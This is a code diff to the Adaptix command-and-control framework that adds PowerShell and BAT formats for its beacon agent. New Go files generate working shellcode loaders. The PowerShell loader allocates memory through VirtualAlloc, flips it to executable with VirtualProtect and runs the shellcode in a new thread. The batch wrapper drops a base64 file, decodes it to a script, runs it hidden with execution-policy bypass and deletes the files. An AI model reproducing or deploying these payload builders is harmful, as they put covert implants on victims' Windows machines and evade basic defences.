diff --git a/AdaptixServer/core/server/ts_agent_builder.go b/AdaptixServer/core/server/ts_agent_builder.go index ba6c325ba..b5152d2d0 100644 --- a/AdaptixServer/core/server/ts_agent_builder.go +++ b/AdaptixServer/core/server/ts_agent_builder.go @@ -130,7 +130,7 @@ func (ts *Teamserver) TsAgentBuildCreateChannel(buildData string, wsconn *websoc fileContent, fileName, err = ts.Extender.ExAgentGenerate(builder.Name, conf) if err != nil { - _ = ts.TsAgentBuildLog(builder.Id, adaptix.BUILD_LOG_ERROR, "Error: agent builder failed") + _ = ts.TsAgentBuildLog(builder.Id, adaptix.BUILD_LOG_ERROR, fmt.Sprintf("Error: agent builder failed: %v", err)) goto RET } _ = ts.TsAgentBuildLog(builder.Id, adaptix.BUILD_LOG_SUCCESS, "Agent built successfully") diff --git a/AdaptixServer/extenders/beacon_agent/Makefile b/AdaptixServer/extenders/beacon_agent/Makefile index 5fab655b4..81bd63e9e 100644 --- a/AdaptixServer/extenders/beacon_agent/Makefile +++ b/AdaptixServer/extenders/beacon_agent/Makefile @@ -2,7 +2,7 @@ all: clean @ echo " * Building agent_beacon plugin" @ mkdir dist @ cp config.yaml ax_config.axs ./dist/ - @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/agent_beacon.so pl_main.go pl_packer.go pl_utils.go pl_sideloading.go + @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/agent_beacon.so pl_main.go pl_packer.go pl_utils.go pl_sideloading.go pl_powershell.go pl_bat.go @ echo " done..." @ echo " * Building agent" diff --git a/AdaptixServer/extenders/beacon_agent/ax_config.axs b/AdaptixServer/extenders/beacon_agent/ax_config.axs index cb1f3fc7e..d5275f99f 100644 --- a/AdaptixServer/extenders/beacon_agent/ax_config.axs +++ b/AdaptixServer/extenders/beacon_agent/ax_config.axs @@ -307,7 +307,7 @@ function GenerateUI(listeners_type) let labelAgentFormat = form.create_label("Format:"); let comboAgentFormat = form.create_combo() - comboAgentFormat.addItems(["Exe", "Service Exe", "DLL", "Shellcode"]); + comboAgentFormat.addItems(["Exe", "Service Exe", "DLL", "Shellcode", "PowerShell", "BAT"]); let labelSleep = form.create_label("Sleep (Jitter %):"); let textSleep = form.create_textline("4s"); diff --git a/AdaptixServer/extenders/beacon_agent/pl_bat.go b/AdaptixServer/extenders/beacon_agent/pl_bat.go new file mode 100644 index 000000000..03ca14e72 --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/pl_bat.go @@ -0,0 +1,46 @@ +package main + +import ( + "encoding/base64" + "fmt" + "strings" +) + +// buildBatScript wraps raw shellcode bytes into a .bat file. +// The PS1 loader is base64-encoded so that no CMD-special characters +// (parentheses, brackets, quotes, etc.) appear in the echo'd lines. +// Flow: echo base64 chunks → .b64 temp file → PowerShell decodes to .ps1 → execute → cleanup. +func buildBatScript(shellcode []byte) []byte { + // Re-use the PS1 builder so both formats stay in sync. + psScript := buildPowerShellScript(shellcode) + psB64 := base64.StdEncoding.EncodeToString(psScript) + + // Base64 characters (A-Z a-z 0-9 + / =) are all safe for CMD echo. + const chunkSize = 7500 + var sb strings.Builder + + sb.WriteString("@echo off\r\n") + sb.WriteString("setlocal\r\n") + sb.WriteString("set \"_b=%TEMP%\\%RANDOM%.b64\"\r\n") + sb.WriteString("set \"_f=%TEMP%\\%RANDOM%.ps1\"\r\n") + + for i := 0; i < len(psB64); i += chunkSize { + end := i + chunkSize + if end > len(psB64) { + end = len(psB64) + } + if i == 0 { + sb.WriteString(fmt.Sprintf("echo %s>\"%%_b%%\"\r\n", psB64[i:end])) + } else { + sb.WriteString(fmt.Sprintf("echo %s>>\"%%_b%%\"\r\n", psB64[i:end])) + } + } + + // Decode the base64 file to a PS1 file, then execute it. + sb.WriteString("powershell -NoP -NonI -W Hidden -Command \"$b=([IO.File]::ReadAllText('%_b%')-replace'\\s','');[IO.File]::WriteAllBytes('%_f%',[Convert]::FromBase64String($b))\"\r\n") + sb.WriteString("del \"%_b%\"\r\n") + sb.WriteString("powershell.exe -NoP -NonI -W Hidden -Exec Bypass -File \"%_f%\"\r\n") + sb.WriteString("del \"%_f%\"\r\n") + + return []byte(sb.String()) +} diff --git a/AdaptixServer/extenders/beacon_agent/pl_main.go b/AdaptixServer/extenders/beacon_agent/pl_main.go index 87ae4e3c0..ab9c5f66b 100644 --- a/AdaptixServer/extenders/beacon_agent/pl_main.go +++ b/AdaptixServer/extenders/beacon_agent/pl_main.go @@ -426,6 +426,9 @@ func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte, WebPageOutput, _ := listenerMap["page-payload"].(string) ansOffset1 := strings.Index(WebPageOutput, "<<>>") + if ansOffset1 < 0 { + return nil, errors.New("page-payload must contain '<<>>'") + } ansOffset2 := len(WebPageOutput[ansOffset1+len("<<>>"):]) rotationMode := 0 // 0=sequential, 1=random @@ -697,6 +700,30 @@ func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [ lFlags += " -Wl,-e,DllMain" } } + } else if generateConfig.Format == "PowerShell" { + Files += ObjectDir + "/main_shellcode" + Ext + lFlags += " -shared" + buildPath = tempDir + "/file.dll" + Filename += ".ps1" + if generateConfig.IatHiding { + if generateConfig.Arch == "x86" { + lFlags += " -Wl,-e,_DllMain@12" + } else { + lFlags += " -Wl,-e,DllMain" + } + } + } else if generateConfig.Format == "BAT" { + Files += ObjectDir + "/main_shellcode" + Ext + lFlags += " -shared" + buildPath = tempDir + "/file.dll" + Filename += ".bat" + if generateConfig.IatHiding { + if generateConfig.Arch == "x86" { + lFlags += " -Wl,-e,_DllMain@12" + } else { + lFlags += " -Wl,-e,DllMain" + } + } } else { _ = os.RemoveAll(tempDir) return nil, "", errors.New("unknown file format") @@ -724,12 +751,20 @@ func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [ } _ = os.RemoveAll(tempDir) - if generateConfig.Format == "Shellcode" { + if generateConfig.Format == "Shellcode" || generateConfig.Format == "PowerShell" || generateConfig.Format == "BAT" { stubContent, err := os.ReadFile(stubPath) if err != nil { return nil, "", err } - Payload = append(stubContent, buildContent...) + rawShellcode := append(stubContent, buildContent...) + switch generateConfig.Format { + case "Shellcode": + Payload = rawShellcode + case "PowerShell": + Payload = buildPowerShellScript(rawShellcode) + case "BAT": + Payload = buildBatScript(rawShellcode) + } } else { Payload = buildContent } diff --git a/AdaptixServer/extenders/beacon_agent/pl_powershell.go b/AdaptixServer/extenders/beacon_agent/pl_powershell.go new file mode 100644 index 000000000..2549a9879 --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/pl_powershell.go @@ -0,0 +1,49 @@ +package main + +import ( + "encoding/base64" + "strings" +) + +// buildPowerShellScript wraps raw shellcode bytes into a self-contained .ps1 +// script that allocates RWX memory via P/Invoke and runs the shellcode in a +// new thread. The base64 payload is split into 10 000-char chunks so the +// script stays readable and avoids any potential line-length issues. +func buildPowerShellScript(shellcode []byte) []byte { + b64 := base64.StdEncoding.EncodeToString(shellcode) + const chunkSize = 10000 + var sb strings.Builder + + for i := 0; i < len(b64); i += chunkSize { + end := i + chunkSize + if end > len(b64) { + end = len(b64) + } + if i == 0 { + sb.WriteString("$b64='") + sb.WriteString(b64[i:end]) + sb.WriteString("'\n") + } else { + sb.WriteString("$b64+='") + sb.WriteString(b64[i:end]) + sb.WriteString("'\n") + } + } + + sb.WriteString("$sc=[Convert]::FromBase64String($b64)\n") + sb.WriteString("$sz=$sc.Length\n") + sb.WriteString("$m=''\n") + sb.WriteString("$m+='[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, uint t, uint p);'\n") + sb.WriteString("$m+='[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr a, UIntPtr s, IntPtr e, IntPtr p, uint f, IntPtr i);'\n") + sb.WriteString("$m+='[DllImport(\"kernel32.dll\")] public static extern uint WaitForSingleObject(IntPtr h, uint ms);'\n") + sb.WriteString("$m+='[DllImport(\"kernel32.dll\")] public static extern bool VirtualProtect(IntPtr a, UIntPtr s, uint p, out uint o);'\n") + sb.WriteString("$k32=Add-Type -MemberDefinition $m -Name K32 -Namespace '' -PassThru\n") + sb.WriteString("$buf=$k32::VirtualAlloc(0,[UIntPtr][uint32]$sz,0x3000,0x04)\n") + sb.WriteString("[System.Runtime.InteropServices.Marshal]::Copy($sc,0,$buf,$sz)\n") + sb.WriteString("$old=[uint32]0\n") + sb.WriteString("[void]($k32::VirtualProtect($buf,[UIntPtr][uint32]$sz,0x20,[ref]$old))\n") + sb.WriteString("$h=$k32::CreateThread(0,[UIntPtr]::new(0),$buf,0,0,0)\n") + sb.WriteString("[void]($k32::WaitForSingleObject($h,[uint32]::MaxValue))\n") + + return []byte(sb.String()) +}